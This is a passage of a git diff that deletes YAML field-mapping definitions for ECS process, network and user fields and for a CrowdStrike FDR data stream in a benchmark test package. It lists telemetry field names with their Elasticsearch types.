-  name: process.command_line
-- external: ecs
-  name: process.end
-- external: ecs
-  name: process.entity_id
-- external: ecs
-  name: process.executable
-  multi_fields:
-    - name: caseless
-      ignore_above: 1024
-      normalizer: lowercase
-      type: keyword
-    - name: text
-      type: match_only_text
-- external: ecs
-  name: process.name
-  multi_fields:
-    - name: caseless
-      ignore_above: 1024
-      normalizer: lowercase
-      type: keyword
-    - name: text
-      type: match_only_text
-- external: ecs
-  name: process.exit_code
-- name: process.group.id
-  type: keyword
-- external: ecs
-  name: process.hash.md5
-- external: ecs
-  name: process.hash.sha256
-- external: ecs
-  name: process.parent.entity_id
-- external: ecs
-  name: process.parent.name
-- external: ecs
-  name: process.pgid
-- external: ecs
-  name: process.pid
-- external: ecs
-  name: process.start
-- external: ecs
-  name: process.thread.id
-- external: ecs
-  name: process.title
-- external: ecs
-  name: process.uptime
-- external: ecs
-  name: related.hash
-- external: ecs
-  name: related.hosts
-- external: ecs
-  name: related.ip
-- external: ecs
-  name: related.user
-- external: ecs
-  name: server.address
-- external: ecs
-  name: server.domain
-- external: ecs
-  name: server.registered_domain
-- external: ecs
-  name: server.subdomain
-- external: ecs
-  name: server.top_level_domain
-- external: ecs
-  name: source.address
-- external: ecs
-  name: source.as.number
-- external: ecs
-  name: source.as.organization.name
-- external: ecs
-  name: source.geo.city_name
-- external: ecs
-  name: source.geo.continent_name
-- external: ecs
-  name: source.geo.country_iso_code
-- external: ecs
-  name: source.geo.country_name
-- external: ecs
-  name: source.geo.location
-- external: ecs
-  name: source.geo.region_iso_code
-- external: ecs
-  name: source.geo.region_name
-- external: ecs
-  name: source.ip
-- external: ecs
-  name: source.mac
-- external: ecs
-  name: source.port
-- external: ecs
-  name: tags
-- external: ecs
-  name: url.domain
-- external: ecs
-  name: url.extension
-- external: ecs
-  name: url.original
-- external: ecs
-  name: url.path
-- external: ecs
-  name: url.registered_domain
-- external: ecs
-  name: url.scheme
-- external: ecs
-  name: url.subdomain
-- external: ecs
-  name: url.top_level_domain
-- external: ecs
-  name: user.domain
-- external: ecs
-  name: user.email
-- external: ecs
-  name: user.full_name
-- external: ecs
-  name: user.group.id
-- external: ecs
-  name: user.id
-- external: ecs
-  name: user.name
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml
deleted file mode 100644
index cb9381b02f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml
+++ /dev/null
@@ -1,2060 +0,0 @@
-- name: observer.address
-  type: keyword
-- name: crowdstrike
-  type: group
-  fields:
-    - name: __mv_LocalAddressIP4
-      type: keyword
-    - name: __mv_aip
-      type: keyword
-    - name: __mv_discoverer_aid
-      type: keyword
-    - name: aid
-      type: keyword
-    - name: AccessType
-      type: keyword
-    - name: AccountDomain
-      type: match_only_text
-    - name: AccountObjectGuid
-      type: match_only_text
-    - name: AccountObjectSid
-      type: match_only_text
-    - name: AccountType
-      type: keyword
-    - name: ActiveDirectoryAuthenticationMethod
-      type: keyword
-    - name: ActivityId
-      type: keyword
-    - name: AddressFamily
-      type: keyword
-    - name: AdminStatus
-      type: keyword
-    - name: AgentIdString
-      type: keyword
-    - name: AgentLoadFlags
-      type: keyword
-    - name: AgentLocalTime
-      type: date
-    - name: AgentTimeOffset
-      type: float
-    - name: AgentVersion
-      type: keyword
-    - name: AggregateId
-      type: keyword
-    - name: AllocateVirtualMemoryCount
-      type: long
-    - name: AllowlistingFilterId
-      type: keyword
-    - name: ApiReturnValue
-      type: keyword
-    - name: ApplicationName
-      type: match_only_text
-    - name: ArchiveFileWrittenCount
-      type: long
-    - name: AsepClass
-      type: keyword
-    - name: AsepFlags
-      type: keyword
-    - name: AsepIndex
-      type: keyword
-    - name: AsepValueType
-      type: keyword
-    - name: AsepWrittenCount
-      type: long
-    - name: AssociatedFile
-      type: keyword
-    - name: Attacks
-      type: group
-      fields:
-        - name: Tactic
-          type: keyword
-        - name: Technique
-          type: keyword
-    - name: AttemptNumber
-      type: long
-    - name: AuthenticationActivityId
-      type: keyword
-    - name: AuthenticationId
-      type: keyword
-    - name: AuthenticationPackage
-      type: keyword
-    - name: AuthenticationUuid
-      type: keyword
-    - name: AuthenticationUuidAsString
-      type: keyword
-    - name: AuthenticodeHashData
-      type: keyword
-    - name: AuthenticodeHashDataSHA256
-      type: keyword
-    - name: BaseReachableTime
-      type: keyword
-    - name: BinaryExecutableWrittenCount
-      type: long
-    - name: BiosChanged
-      type: match_only_text
-    - name: BiosManufacturer
-      type: keyword
-    - name: BiosReleaseDate
-      type: date
-    - name: BiosVersion
-      type: keyword
-    - name: BluetoothClassOfDeviceValue
-      type: match_only_text
-    - name: BluetoothDeviceAppearanceValue
-      type: match_only_text
-    - name: BluetoothDeviceModelNumber
-      type: match_only_text
-    - name: BluetoothDeviceName
-      type: match_only_text
-    - name: BluetoothServiceName_1
-      type: match_only_text
-    - name: BluetoothServiceName_3
-      type: match_only_text
-    - name: BluetoothServiceName_4
-      type: match_only_text
-    - name: BluetoothServiceName_5
-      type: match_only_text
-    - name: BluetoothServiceName_6
-      type: match_only_text
-    - name: BluetoothServiceName_7
-      type: match_only_text
-    - name: BluetoothServiceName_8
-      type: match_only_text
-    - name: BluetoothServiceUuidArray
-      type: match_only_text
-    - name: BluetoothServiceUuid_1
-      type: match_only_text
-    - name: BluetoothServiceUuid_2
-      type: match_only_text
-    - name: BluetoothServiceUuid_3
-      type: match_only_text
-    - name: BluetoothServiceUuid_4
-      type: match_only_text
-    - name: BluetoothServiceUuid_5
-      type: match_only_text
-    - name: BluetoothServiceUuid_6
-      type: match_only_text
-    - name: BluetoothServiceUuid_7
-      type: match_only_text
-    - name: BluetoothServiceUuid_8
-      type: match_only_text
-    - name: BluetoothVendorIdSource
-      type: match_only_text
-    - name: BootArgs
-      type: keyword
-    - name: BootTimeFunctionalityLevel
-      type: keyword
-    - name: BoundedCount
-      type: long
-    - name: BoundingLimitCount
-      type: long
-    - name: BoundingLimitDuration
-      type: keyword
-    - name: BundleID
-      type: keyword
-    - name: CapPrm
-      type: keyword
-    - name: CertificateIssuer
-      type: keyword
-    - name: CertificatePublisher
-      type: keyword
-    - name: CertificateSignatureHash
-      type: keyword
-    - name: CertificateSignatureHashAlgorithm
-      type: keyword
-    - name: CLICreationCount
-      type: long
-    - name: CallStackModuleNames
-      type: keyword
-    - name: CallStackModuleNamesVersion
-      type: version
-    - name: ChangedPcrBitmap
-      type: match_only_text
-    - name: ChangeTime
-      type: date
-    - name: ChannelDiffStatus
-      type: keyword
-    - name: ChannelId
-      type: keyword
-    - name: ChannelVersion
-      type: keyword
-    - name: ChannelVersionRequired
-      type: keyword
-    - name: ChasisManufacturer
-      type: keyword
-    - name: ChassisType
-      type: keyword
-    - name: ClientComputerName
-      type: keyword
-    - name: ClientId
-      type: match_only_text
-    - name: CloudIndicator
-      type: boolean
-    - name: CNAMERecords
-      type: keyword
-    # - name: crowdstrike.CommandCount
-    #   type: long
-    - name: CommandCount
-      type: match_only_text
-    # - name: crowdstrike.CommandCountMax
-    #   type: long
-    - name: CommandCountMax
-      type: match_only_text
-    - name: CommandHistory
-      type: keyword
-      multi_fields:
-        - name: text
-          type: match_only_text
-    - name: CompletionEventId
-      type: keyword
-    - name: CompositeId
-      type: keyword
-      description: Global unique identifier that identifies a unique alert.
-    - name: ConHostId
-      type: keyword
-    - name: ConHostProcessId
-      type: keyword
-    - name: ConfigBuild
-      type: keyword
-    - name: ConfigIDBase
-      type: keyword
-    - name: ConfigIDBuild
-      type: keyword
-    - name: ConfigIDPlatform
-      type: keyword
-    - name: ConfigStateData
-      type: text
-    - name: ConfigStateHash
-      type: keyword
-    - name: ConfigurationDescriptorName
-      type: match_only_text
-    - name: ConfigurationVersion
-      type: keyword
-    - name: ConnectTime
-      type: date
-    - name: ConnectType
-      type: keyword
-    - name: ConnectionAddressIP6
-      type: match_only_text
-    - name: ConnectionFlags
-      type: keyword
-    - name: ContextBaseFileName
-      type: keyword
-    - name: ContextProcessId
-      type: keyword
-    - name: ContextTimeStamp
-      type: date
-      description: System local time of event creation.
-    - name: CpuClockSpeed
-      type: keyword
-    - name: CpuFeaturesMask
-      type: keyword
-    - name: CpuProcessorName
-      type: keyword
-    - name: CpuSignature
-      type: keyword
-    - name: CpuVendor
-      type: keyword
-    - name: CreateProcessCount
-      type: long
-    - name: CreateProcessType
-      type: keyword
-    - name: CompanyName
-      type: keyword
-    - name: ConnectionType
-      type: keyword
-    - name: ContentSHA256HashData
-      type: keyword
-    - name: ContextImageFileName
-      type: keyword
-    - name: CurrentFunctionalityLevel
-      type: keyword
-    - name: CurrentLocalIP
-      type: ip
-    - name: CustomerIdString
-      type: keyword
-    - name: CycleTime
-      type: long
-    - name: DadState
-      type: keyword
-    - name: DadTransmits
-      type: keyword
-    - name: Data1
-      type: keyword
-    - name: DataDomains
-      type: keyword
-    - name: DcNumAttachments
-      type: match_only_text
-    - name: DcNumBlockingPolicies
-      type: match_only_text
-    - name: Description
-      type: keyword
-    - name: DesiredAccess
-      type: keyword
-    - name: DetectDescription
-      type: keyword
-    - name: DetectId
-      type: keyword
-    - name: DetectName
-      type: keyword
-    - name: DeviceId
-      type: keyword
-    - name: DeviceMountCounter
-      type: long
-    - name: DevicePropertyClassGuid
-      type: match_only_text
-    - name: DevicePropertyClassName
-      type: match_only_text
-    - name: DevicePropertyLocationInformation
-      type: match_only_text
-    - name: DirectionType
-      type: keyword
-    - name: DirectoryCreatedCount
-      type: long
-    - name: DirectoryEnumeratedCount
-      type: long
-    - name: DllCharacteristics
-      type: keyword
-    - name: DnsRequestCount
-      type: long
-    - name: DnsRequests
-      type: nested
-      description: |
-        Detected DNS requests done by a process.
-    - name: DnsResponseType
-      type: keyword
-    - name: DocumentFileWrittenCount
-      type: long
-    - name: DomainSid
-      type: keyword
-    - name: DownloadPath
-      type: keyword
-    - name: DownloadPort
-      type: long
-    - name: DownloadServer
-      type: keyword
-    - name: DriverLoadFlags
-      type: keyword
-    - name: DualRequest
-      type: keyword
-    - name: DylibPath
-      type: match_only_text
-    - name: ELFSubType
-      type: keyword
-    - name: EffectiveTransmissionClass
-      type: keyword
-    - name: EfiVariableCustomModeAttributes
-      type: match_only_text
-    - name: EfiVariableDbAttributes
-      type: match_only_text
-    - name: EfiVariableDbSha256Hash
-      type: match_only_text
-    - name: EfiVariableKekAttributes
-      type: match_only_text
-    - name: EfiVariableKekSha256Hash
-      type: match_only_text
-    - name: EfiVariablePkAttributes
-      type: match_only_text
-    - name: EfiVariablePkSha256Hash
-      type: match_only_text
-    - name: EfiVariableSecureBootAttributes
-      type: match_only_text
-    - name: EfiVariableSetupMode
-      type: match_only_text
-    - name: EfiVariableSetupModeAttributes
-      type: match_only_text
-    - name: EfiVariableSignatureSupport
-      type: match_only_text
-    - name: EfiVariableSignatureSupportAttributes
-      type: match_only_text
-    - name: EnabledPrivilegesBitmask
-      type: keyword
-    - name: EndTime
-      type: date
-    - name: Entitlements
-      type: keyword
-    - name: EnvironmentVariableName
-      type: keyword
-    - name: EnvironmentVariablesString
-      type: match_only_text
-    - name: EnvironmentVariableValue
-      type: keyword
-    - name: ErrorCode
-      type: keyword
-    - name: ErrorStatus
-      type: keyword
-    - name: EtwRawProcessId
-      type: long
-    - name: EtwRawThreadId
-      type: long
-    - name: EventCorrelationId
-      type: keyword
-    - name: EventOrigin
-      type: integer
-    - name: EventType
-      type: keyword
-    - name: EventUUID
-      type: keyword
-    - name: ExceptionAddress
-      type: keyword
-    - name: ExceptionCode
-      type: keyword
-    - name: ExceptionInformation0
-      type: keyword
-    - name: ExclusionSource
-      type: keyword
-    - name: ExclusionType
-      type: keyword
-    - name: ExeAndServiceCount
-      type: long
-    - name: ExecutableBytes
-      type: match_only_text
-    - name: ExecutableDeletedCount
-      type: long
-    - name: ExtendedAttributeValue
-      type: match_only_text
-    - name: ExtendedAttributeValueReadable
-      type: match_only_text
-    - name: ExtendedKeyUsages
-      type: keyword
-    - name: ExternalApiType
-      type: keyword
-    - name: FXFileSize
-      type: keyword
-    - name: Facility
-      type: keyword
-    - name: FailedConnectCount
-      type: long
-    - name: FalconGroupingTags
-      type: keyword
-    - name: FalconHostLink
-      type: keyword
-    - name: FeatureExtractionVersion
-      type: keyword
-    - name: FeatureVector
-      type: match_only_text
-    - name: File
-      type: keyword
-    - name: FileAttributes
-      type: keyword
-    - name: FileCategory
-      type: keyword
-    - name: FileContent
-      type: match_only_text
-    - name: FileDeletedCount
-      type: long
-    - name: FileEcpBitmask
-      type: keyword
-    - name: FileName
-      type: keyword
-    - name: FileObject
-      type: keyword
-    - name: FileOperatorSid
-      type: keyword
-    - name: FilePath
-      type: keyword
-    - name: FileSigningTime
-      type: keyword
-    - name: FileSubType
-      type: keyword
-    - name: FileSystemOperationType
-      type: keyword
-    - name: FileVaultIsEnabled
-      type: match_only_text
-    - name: FileVersion
-      type: keyword
-    - name: FilesAccessed
-      type: group
-      fields:
-        - name: FileName
-          type: keyword
-        - name: FilePath
-          type: keyword
-        - name: Timestamp
-          type: date
-    - name: FilesWritten
-      type: group
-      fields:
-        - name: FileName
-          type: keyword
-        - name: FilePath
-          type: keyword
-        - name: Timestamp
-          type: date
-    - name: FileWrittenFlags
-      type: keyword
-    - name: FirewallAction
-      type: keyword
-    - name: FirewallOption
-      type: keyword
-    - name: FirewallOptionNumericValue
-      type: keyword
-    - name: FirewallProfile
-      type: keyword
-    - name: FirewallRule
-      type: keyword
-    - name: FirewallRuleId
-      type: keyword
-    - name: FirmwareAnalysisEclConsumerInterfaceVersion
-      type: keyword
-    - name: FirmwareAnalysisEclControlInterfaceVersion
-      type: keyword
-    - name: FirstCommand
-      type: match_only_text
-    - name: FirstDiscoveredDate
-      type: date
-    - name: FirstIP4Record
-      type: keyword
-    - name: FirstSeen
-      type: date
-    - name: FixedFileVersion
-      type: keyword
-    - name: Flags
-      type: keyword
-    - name: FltCallbackData
-      type: keyword
-    - name: FltCompletionContext
-      type: keyword
-    - name: FltRelatedObjects
-      type: keyword
-    - name: FontBuffer
-      type: keyword
-    - name: FontBufferLength
-      type: keyword
-    - name: FontFileCount
-      type: long
-    - name: FontFileName
-      type: keyword
-    - name: FontLoadOperation
-      type: keyword
-    - name: FsOperationClassification
-      type: keyword
-    - name: FsOperationClassificationFlags
-      type: keyword
-    - name: FullExceptionRecord
-      type: keyword
-    - name: GenericFileWrittenCount
-      type: long
-    - name: GrandParentBaseFileName
-      type: keyword
-    - name: GrandparentCommandLine
-      type: keyword
-      multi_fields:
-        - name: text
-          type: match_only_text
-    - name: GrandparentImageFileName
-      type: keyword
-    - name: GrandparentImageFilePath
-      type: keyword
-    - name: GroupRid
-      type: keyword
-    - name: HandleCreateAuthenticationId
-      type: keyword
-    - name: HandleCreated
-      type: keyword
-    - name: HashAlgorithm
-      type: keyword
-    - name: HostGroups
-      type: keyword
-    - name: HostHiddenStatus
-      type: keyword
-    - name: HostProcessType
-      type: keyword
-    - name: HttpInternalSource
-      type: match_only_text
-    - name: HttpMethod
-      type: match_only_text
-    - name: HttpRequestHeader
-      type: match_only_text
-    - name: HttpUrl
-      type: match_only_text
-    - name: IcmpCode
-      type: keyword
-    - name: IcmpType
-      type: keyword
-    - name: IfType
-      type: keyword
-    - name: ImageCheckSum
-      type: keyword
-    - name: ImageEntryPoint
-      type: keyword
-    - name: ImageFileName
-      type: keyword
-    - name: ImageSignatureLevel
-      type: keyword
-    - name: ImageSignatureType
-      type: keyword
-    - name: ImageTimeStamp
-      type: keyword
-    - name: ImpersonatedUserName
-      type: keyword
-    - name: InBroadcastOctets
-      type: keyword
-    - name: InjectedDll
-      type: keyword
-    - name: InjectedThreadFlag
-      type: keyword
-    - name: InMulticastOctets
-      type: keyword
-    - name: InNUcastPkts
-      type: keyword
-    - name: InterfaceDescription
-      type: keyword
-    - name: InterfaceFlags
-      type: keyword
-    - name: InterfaceIdentifier
-      type: keyword
-    - name: InterfaceMtu
-      type: keyword
-    - name: InUcastOctets
-      type: keyword
-    - name: IOCType
-      type: keyword
-    - name: IOCValue
-      type: keyword
-    - name: IOServiceClass
-      type: keyword
-    - name: IOServiceName
-      type: keyword
-    - name: IOServicePath
-      type: keyword
-    - name: IP4Records
-      type: keyword
-    - name: IpEntryFlags
-      type: keyword
-    - name: ImageSubsystem
-      type: keyword
-    - name: InContext
-      type: keyword
-    - name: InDiscards
-      type: keyword
-    - name: InErrors
-      type: keyword
-    - name: InMulticastPkts
-      type: keyword
-    - name: InOctets
-      type: keyword
-    - name: InUcastPkts
-      type: keyword
-    - name: InUnknownProtos
-      type: keyword
-    - name: IndividualDiskInfo
-      type: match_only_text
-    - name: Information
-      type: keyword
-    - name: InjectedDllCount
-      type: long
-    - name: InjectedThreadCount
-      type: long
-    - name: InstanceMetadata
-      type: match_only_text
-    - name: InstanceMetadataSignature
-      type: match_only_text
-    - name: IntegrityLevel
-      type: keyword
-    - name: InterfaceAlias
-      type: keyword
-    - name: InterfaceGuid
-      type: keyword
-    - name: InterfaceIndex
-      type: long
-    - name: InterfaceKind
-      type: match_only_text
-    - name: InterfaceType
-      type: keyword
-    - name: InterfaceVersion
-      type: keyword
-    - name: IrpFlags
-      type: keyword
-    - name: IsOnNetwork
-      type: keyword
-    - name: IsOnRemovableDisk
-      type: keyword
-    - name: IsProcessInitializing
-      type: keyword
-    - name: IsTransactedFile
-      type: keyword
-    - name: IsUnique
-      type: keyword
-    - name: KernelTime
-      type: long
-    - name: KeyObject
-      type: match_only_text
-    - name: LanguageId
-      type: keyword
-    - name: LastAdded
-      type: match_only_text
-    - name: LastDiscoveredBy
-      type: keyword
-    - name: LastDisplayed
-      type: match_only_text
-    - name: LastLoggedOnHost
-      type: keyword
-    - name: LastPendingUpdateInstalledTime
-      type: match_only_text
-    - name: LaunchItemType
-      type: match_only_text
-    - name: LaunchItemUrl
-      type: match_only_text
-    - name: LdapSearchFilterSample
-      type: match_only_text
-    - name: LfoUploadFlags
-      type: keyword
-    - name: LightningLatencyState
-      type: keyword
-    - name: Line
-      type: keyword
-    - name: LinkLocalAddressBehavior
-      type: keyword
-    - name: LinkLocalAddressTimeout
-      type: keyword
-    - name: LocalAddressIP4
-      type: ip
-    - name: LocalAddressIP6
-      type: ip
-    - name: LocalAddressMaskIP4
-      type: keyword
-    - name: LocalAddressMaskIP6
-      type: keyword
-    - name: LocalIpAddressPipelineSource
-      type: keyword
-    - name: LocalAdminAccess
-      type: keyword
-    - name: LocalIP
-      type: ip
-    - name: LocalIPv6
-      type: ip
-    - name: LogicalCoreCount
-      type: long
-    - name: LoginSessionId
-      type: keyword
-    - name: LogoffTime
-      type: date
-    - name: LogonDomain
-      type: keyword
-    - name: LogonId
-      type: keyword
-    - name: LogonInfo
-      type: keyword
-    - name: LogonServer
-      type: keyword
-    - name: LogonTime
-      type: date
-    - name: LogonType
-      type: keyword
-    - name: MACAddress
-      type: keyword
-    - name: MACPrefix
-      type: keyword
-    - name: MD5String
-      type: keyword
-    - name: MLModelVersion
-      type: keyword
-    - name: MachOSubType
-      type: keyword
-    - name: MajorFunction
-      type: keyword
-    - name: MajorVersion
-      type: keyword
-    - name: Malicious
-      type: keyword
-    - name: ManagedPdbBuildPath
-      type: match_only_text
-    - name: MappedFromUserMode
-      type: keyword
-    - name: MaxReassemblySize
-      type: keyword
-    - name: MaxRouterAdvertisementInterval
-      type: keyword
-    - name: MaxThreadCount
-      type: long
-    - name: MediaConnectState
-      type: keyword
-    - name: MediaType
-      type: keyword
-    - name: MemoryAvailable
-      type: match_only_text
-    - name: Metric
-      type: keyword
-    - name: MD5HashData
-      type: keyword
-    - name: MemoryTotal
-      type: keyword
-    - name: MicrocodeSignature
-      type: keyword
-    - name: MinorFunction
-      type: keyword
-    - name: MinorVersion
-      type: keyword
-    - name: MinRouterAdvertisementInterval
-      type: keyword
-    - name: ModuleCharacteristics
-      type: keyword
-    - name: ModuleSize
-      type: keyword
-    - name: MmioDataGenPmconB
-      type: match_only_text
-    - name: MmioDataSmiEn
-      type: match_only_text
-    - name: MmioDataTco1Cnt
-      type: match_only_text
-    - name: MoboManufacturer
-      type: keyword
-    - name: MoboProductName
-      type: keyword
-    - name: ModelPrediction
-      type: keyword
-    - name: ModuleLoadCount
-      type: long
-    - name: ModuleLoadTelemetryClassification
-      type: keyword
-    - name: NDRoot
-      type: keyword
-    - name: NegateInterface
-      type: keyword
-    - name: NegateLocalAddress
-      type: keyword
-    - name: NegateRemoteAddress
-      type: keyword
-    - name: NeighborList
-      type: keyword
-    - name: NeighborName
-      type: keyword
-    - name: NetLuidIndex
-      type: long
-    - name: NetworkAccesses
-      type: group
-      fields:
-        - name: AccessTimestamp
-          type: keyword
-        - name: AccessType
-          type: keyword
-        - name: ConnectionDirection
-          type: keyword
-        - name: IsIPV6
-          type: keyword
-        - name: LocalAddress
-          type: keyword
-        - name: LocalPort
-          type: keyword
-        - name: Protocol
-          type: keyword
-        - name: RemoteAddress
-          type: keyword
-        - name: RemotePort
-          type: keyword
-    - name: NetworkBindCount
-      type: long
-    - name: NetworkCapableAsepWriteCount
-      type: long
-    - name: NetworkCloseCount
-      type: long
-    - name: NetworkConnectCount
-      type: long
-    - name: NetworkConnectCountUdp
-      type: long
-    - name: NetworkContainmentState
-      type: keyword
-    - name: NetworkGuid
-      type: keyword
-    - name: NetworkInterfaceGuid
-      type: keyword
-    - name: NetworkListenCount
-      type: long
-    - name: NetworkModuleLoadCount
-      type: long
-    - name: NetworkRecvAcceptCount
-      type: long
-    - name: NewExecutableWrittenCount
-      type: long
-    - name: NewFileIdentifier
-      type: keyword
-    - name: NlMtu
-      type: keyword
-    - name: Nonce
-      type: unsigned_long
-    - name: Object1Type
-      type: keyword
-    - name: OnLinkPrefixLength
-      type: keyword
-    - name: OperStatus
-      type: keyword
-    - name: OriginalContentLength
-      type: keyword
-    - name: OriginalEventTimeStamp
-      type: keyword
-    - name: OriginalFilename
-      type: keyword
-    - name: OriginalParentAuthenticationId
-      type: keyword
-    - name: OriginalUserName
-      type: keyword
-    - name: OriginalUserSid
-      type: keyword
-    - name: OSVersionFileData
-      type: match_only_text
-    - name: OSVersionFileName
-      type: keyword
-    - name: OU
-      type: keyword
-    - name: ObjectNameEtw
-      type: match_only_text
-    - name: ObjectTypeEtw
-      type: match_only_text
-    - name: Objective
-      type: keyword
-    - name: OciContainerAppName
-      type: match_only_text
-    - name: OciContainerAppVersion
-      type: match_only_text
-    - name: OciContainerConfigImage
-      type: match_only_text
-    - name: OciContainerConfigLabels
-      type: match_only_text
-    - name: OciContainerConfigTty
-      type: match_only_text
-    - name: OciContainerConfigUser
-      type: match_only_text
-    - name: OciContainerEngineType
-      type: match_only_text
-    - name: OciContainerHostConfigCgroup
-      type: match_only_text
-    - name: OciContainerHostConfigDevices
-      type: match_only_text
-    - name: OciContainerHostConfigOomKillDisable
-      type: match_only_text
-    - name: OciContainerHostConfigPrivileged
-      type: match_only_text
-    - name: OciContainerHostConfigPublishAllPorts
-      type: match_only_text
-    - name: OciContainerHostConfigReadOnlyRootfs
-      type: match_only_text
-    - name: OciContainerId
-      type: match_only_text
-    - name: OciContainerImageId
-      type: match_only_text
-    - name: OciContainerInfoRetransmitted
-      type: match_only_text
-    - name: OciContainerMounts
-      type: match_only_text
-    - name: OciContainerName
-      type: match_only_text
-    - name: OciContainerNetworkSettingsIpAddress
-      type: match_only_text
-    - name: OciContainerPhase
-      type: match_only_text
-    - name: OciContainerStateOOMKilled
-      type: match_only_text
-    - name: OciContainerStatePid
-      type: match_only_text
-    - name: OciContainersStartedCount
-      type: match_only_text
-    - name: OciContainersStoppedCount
-      type: match_only_text
-    - name: OperationFlags
-      type: keyword
-    - name: Options
-      type: keyword
-    - name: OutBroadcastOctets
-      type: keyword
-    - name: OutDiscards
-      type: keyword
-    - name: OutErrors
-      type: keyword
-    - name: OutMulticastOctets
-      type: keyword
-    - name: OutMulticastPkts
-      type: keyword
-    - name: OutNUcastPkts
-      type: keyword
-    - name: OutOctets
-      type: keyword
-    - name: OutUcastOctets
-      type: keyword
-    - name: OutUcastPkts
-      type: keyword
-    - name: Parameter1
-      type: keyword
-    - name: Parameter2
-      type: keyword
-    - name: Parameter3
-      type: keyword
-    - name: Parameter64_1
-      type: keyword
-    - name: Parameter64_2
-      type: keyword
-    - name: Parameter64_3
-      type: keyword
-    - name: ParentAuthenticationId
-      type: keyword
-    - name: PathMtuDiscoveryTimeout
-      type: keyword
-    - name: ParentCommandLine
-      type: keyword
-      multi_fields:
-        - name: text
-          type: match_only_text
-    - name: ParentImageFileName
-      type: keyword
-    - name: ParentImageFilePath
-      type: keyword
-    - name: PasswordLastSet
-      type: keyword
-    - name: PatternDispositionDescription
-      type: keyword
-    - name: PatternDispositionFlags
-      type: group
-      fields:
-        - name: ContainmentFileSystem
-          type: boolean
-        - name: BlockingUnsupportedOrDisabled
-          type: boolean
-        - name: BootupSafeguardEnabled
-          type: boolean
-        - name: CriticalProcessDisabled
-          type: boolean
-        - name: Detect
-          type: boolean
-        - name: FsOperationBlocked
-          type: boolean
-        - name: HandleOperationDowngraded
-          type: boolean
-        - name: InddetMask
-          type: boolean
-        - name: Indicator
-          type: boolean
-        - name: KillActionFailed
-          type: boolean
-        - name: KillParent
-          type: boolean
-        - name: KillProcess
-          type: boolean
-        - name: KillSubProcess
-          type: boolean
-        - name: OperationBlocked
-          type: boolean
-        - name: PolicyDisabled
-          type: boolean
-        - name: ProcessBlocked
-          type: boolean
-        - name: QuarantineFile
-          type: boolean
-        - name: QuarantineMachine
-          type: boolean
-        - name: RegistryOperationBlocked
-          type: boolean
-        - name: Rooting
-          type: boolean
-        - name: SensorOnly
-          type: boolean
-        - name: SuspendParent
-          type: boolean
-        - name: SuspendProcess
-          type: boolean
-    - name: PatternDispositionValue
-      type: long
-    - name: PatternId
-      type: keyword
-    - name: PatternIdList
-      type: match_only_text
-    - name: PciAttachmentState
-      type: keyword
-    - name: PciConfigDataBdsm
-      type: match_only_text
-    - name: PciConfigDataBiosCntl
-      type: match_only_text
-    - name: PciConfigDataGenPmconA
-      type: match_only_text
-    - name: PciConfigDataGgc
-      type: match_only_text
-    - name: PciConfigDataHfsts1
-      type: match_only_text
-    - name: PciConfigDataMesegBase
-      type: match_only_text
-    - name: PciConfigDataRemapbase
-      type: match_only_text
-    - name: PciConfigDataRemaplimit
-      type: match_only_text
-    - name: PciConfigDataSmramc
-      type: match_only_text
-    - name: PciConfigDataTom
-      type: match_only_text
-    - name: PciConfigDataTouud
-      type: match_only_text
-    - name: PciConfigDataTsegmb
-      type: match_only_text
-    - name: Pcr0
-      type: match_only_text
-    - name: Pcr1
-      type: match_only_text
-    - name: Pcr2
-      type: match_only_text
-    - name: Pcr3
-      type: match_only_text
-    - name: Pcr4
-      type: match_only_text
-    - name: Pcr5
-      type: match_only_text
-    - name: Pcr6
-      type: match_only_text
-    - name: Pcr7
-      type: match_only_text
-    - name: PendingUpdateIds
-      type: match_only_text
-    - name: PerformanceCounter
-      type: keyword
-    - name: PermanentPhysicalAddress
-      type: keyword
-    - name: PhysicalAddress
-      type: keyword
-    - name: PhysicalAddressLength
-      type: long
-    - name: PhysicalCoreCount
-      type: long
-    - name: PhysicalMediumType
-      type: keyword
-    - name: PlatformId
-      type: keyword
-    - name: PlatformName
-      type: keyword
-    - name: PointerSize
-      type: keyword
-    - name: PreferredLifetime
-      type: keyword
-    - name: PrefixLength
-      type: keyword
-    - name: PrefixOrigin
-      type: keyword
-    - name: PreviousConnectTime
-      type: date
-    - name: PrivilegedProcessHandleCount
-      type: long
-    - name: PrimaryModule
-      type: keyword
-    - name: PrivilegesBitmask
-      type: keyword
-    - name: ProcessAttributes
-      type: match_only_text
-    - name: ProcessCount
-      type: long
-    - name: ProcessCreateFlags
-      type: keyword
-    - name: ProcessId
-      type: long
-    - name: ProcessParameterFlags
-      type: keyword
-    - name: ProcessStartKey
-      type: keyword
-    - name: ProcessSxsFlags
-      type: keyword
-    - name: ProcessorPackageCount
-      type: long
-    - name: ProductType
-      type: keyword
-    - name: ProtectVirtualMemoryCount
-      type: long
-    - name: ProvisionState
-      type: keyword
-    - name: PublicKeys
-      type: keyword
-    - name: PupAdwareConfidence
-      type: keyword
-    - name: PupAdwareDecisionValue
-      type: keyword
-    - name: QuarantinedFileExtendedState
-      type: match_only_text
-    - name: QuarantinedFileName
-      type: match_only_text
-    - name: QuarantinedFileState
-      type: match_only_text
-    - name: QueryStatus
-      type: integer
-    - name: QueueApcCount
-      type: long
-    - name: RawThreadId
-      type: keyword
-    - name: ReachableTime
-      type: keyword
-    - name: ReceiveLinkSpeed
-      type: keyword
-    - name: ReferrerUrl
-      type: keyword
-    - name: RegClassification
-      type: keyword
-    - name: RegClassificationFlags
-      type: keyword
-    - name: RegClassificationIndex
-      type: keyword
-    - name: RegConfigClass
-      type: keyword
-    - name: RegConfigFlags
-      type: keyword
-    - name: RegConfigIndex
-      type: keyword
-    - name: RegConfigValueType
-      type: keyword
-    - name: RegObjectName
-      type: keyword
-    - name: RegOperationType
-      type: keyword
-    - name: RegType
-      type: keyword
-    - name: RegValueName
-      type: keyword
-    - name: RemoteAddressMaskIP4
-      type: keyword
-    - name: RemoteAddressMaskIP6
-      type: keyword
-    - name: RemoteAddressString
-      type: keyword
-    - name: ResendToCloud
-      type: keyword
-    - name: RespondingDnsServer
-      type: keyword
-    - name: RetransmitTime
-      type: keyword
-    - name: RFMState
-      type: keyword
-    - name: RGID
-      type: keyword
-    - name: RootPath
-      type: keyword
-    - name: RouteAge
-      type: keyword
-    - name: RouteMetric
-      type: keyword
-    - name: RouteOrigin
-      type: keyword
